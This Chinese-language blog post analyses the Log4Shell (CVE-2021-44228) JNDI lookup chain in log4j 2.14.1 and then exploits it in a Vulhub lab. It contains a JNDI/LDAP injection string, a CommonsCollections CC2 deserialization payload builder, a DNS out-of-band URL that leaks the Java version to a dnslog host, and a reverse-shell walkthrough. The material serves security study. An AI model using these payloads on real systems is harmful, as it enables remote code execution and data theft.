当前位置:   article > 正文

log4j反序列化-流程分析

log4j反序列化-流程分析

分析版本

JDK8u141
依赖

<dependencies>
    <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>

        <artifactId>log4j-core</artifactId>

        <version>2.14.1</version>

    </dependency>

    <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>

        <artifactId>log4j-api</artifactId>

        <version>2.14.1</version>

    </dependency>

</dependencies>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

分析流程

官方文档Log4j – Log4j 2 Lookups (apache.org)
直接上payload再去分析

public class log4jTest {
    public static final Logger LOGGER = LogManager.getLogger(log4jTest.class);
    public static void main(String[] args) {
        LOGGER.error("${jndi:ldap://localhost:10389/cn=Exp,dc=example,dc=com}");
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

log4j漏洞最后是调用了JNDI的lookup方法,之后的就是LDAP和RMI的流程了,所以我们分析lo4j把断点打在InitialContext#lookup处,看调用栈。
调用到MessagePatternConverter#format,对日志内容进行格式化,当日志内容包含${时,会调用到workingBuilder.append(config.getStrSubstitutor().replace(event, value));
在这里插入图片描述

之后调用StrSubstitutor#substitude,将{}之间内容提取出来

String varValue = resolveVariable(event, varName, buf, startPos, endPos); //此处varName已经为jndi:ldap://localhost:10389/cn=Exp,dc=example,dc=com
  • 1

跟进StrSubstitutor#resolveVariable

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
                                 final int startPos, final int endPos) {
    final StrLookup resolver = getVariableResolver();
    if (resolver == null) {
        return null;
    }
    return resolver.lookup(event, variableName);  //跟进
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

Interpolator#lookup

public String lookup(final LogEvent event, String var) {
    if (var == null) {
        return null;
    }

    final int prefixPos = var.indexOf(PREFIX_SEPARATOR);   //查找:的索引
    if (prefixPos >= 0) {
        final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US); //获取jndi
        final String name = var.substring(prefixPos + 1); //获取ldap://localhost:10389/cn=Exp,dc=example,dc=com
        final StrLookup lookup = strLookupMap.get(prefix);//下面解释
        if (lookup instanceof ConfigurationAware) {
            ((ConfigurationAware) lookup).setConfiguration(configuration);
        }
        String value = null;
        if (lookup != null) {
            value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);//跟进
        }

        if (value != null) {
            return value;
        }
        var = var.substring(prefixPos + 1);
    }
    if (defaultLookup != null) {
        return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var); 
    }
    return null;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28

在这里插入图片描述

很明显看到strLookupMap是个hashMap类,ookup = strLookupMap.get(prefix);调用key为jndi的value,得到JndiLookup跟进。
JndiManager.getDefaultManager()中会get一个JndiManager对象,context属性是InitialContext

//JndiLookup#lookup
public String lookup(final LogEvent event, final String key) {
    if (key == null) {
        return null;
    }
    final String jndiName = convertJndiName(key);
    try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
        return Objects.toString(jndiManager.lookup(jndiName), null);//调用
    } catch (final NamingException e) {
        LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
        return null;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

跟进JndiManager#lookup

public <T> T lookup(final String name) throws NamingException {
    return (T) this.context.lookup(name); //上面提到了context是InitialContext,所以调用Context.lookup()
}
  • 1
  • 2
  • 3

之后就是JNDI的流程了
之后我切到JDK8u201版本,添加了CC依赖。进行JNDI的反序列化测试,一样的可以弹计算器,就是需要目标有可利用依赖。

public class JNDILDAPServerBypass {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        //Reference refObj = new Reference("Test", "Test", "http://localhost:4444/");
        initialContext.rebind("ldap://localhost:10389/cn=Evil,dc=example,dc=com", getEvilPriorityQueue());

    }

    public static PriorityQueue getEvilPriorityQueue() throws Exception {
        //CC2
        byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "pass");

        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, codes);

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());


        InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);

        //chainedTransformer.transform(1);

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); //改为ConstantTransformer,把利用链断掉
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(1);

        ///Class transformingComparatorClass = TransformingComparator.class;  //也可以
        Class transformingComparatorClass = transformingComparator.getClass();
        Field transformer = transformingComparatorClass.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator, invokerTransformer);

        return priorityQueue;
    }

}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47

在这里插入图片描述

Vulhub靶场

进入vulhub-master/log4j/CVE-2021-44228拉取镜像
测试一些poc

DNS带外

可以拿到一些系统信息
${java:os} ${sys:java.version} java版本
${env:JAVA_HOME} 系统变量,等如果字符不符合DNS要求是获取不到的
举个例子获取靶机java版本http://192.168.20.130:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.hvu8vg.dnslog.cn}
在这里插入图片描述

在这里插入图片描述

反弹shell

用Yakit,先生成LDAP反弹shell的反连地址,反连主机我填的是kali
在这里插入图片描述

在这里插入图片描述

kali nc开启8888端口监听,拿到靶机shell
在这里插入图片描述

当然拿到的是docker权限
在这里插入图片描述

参考文章:Log4j2的JNDI注入漏洞(CVE-2021-44228)原理分析与思考 - FreeBuf网络安全行业门户

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家自动化/article/detail/973299
推荐阅读
相关标签
  

闽ICP备14008679号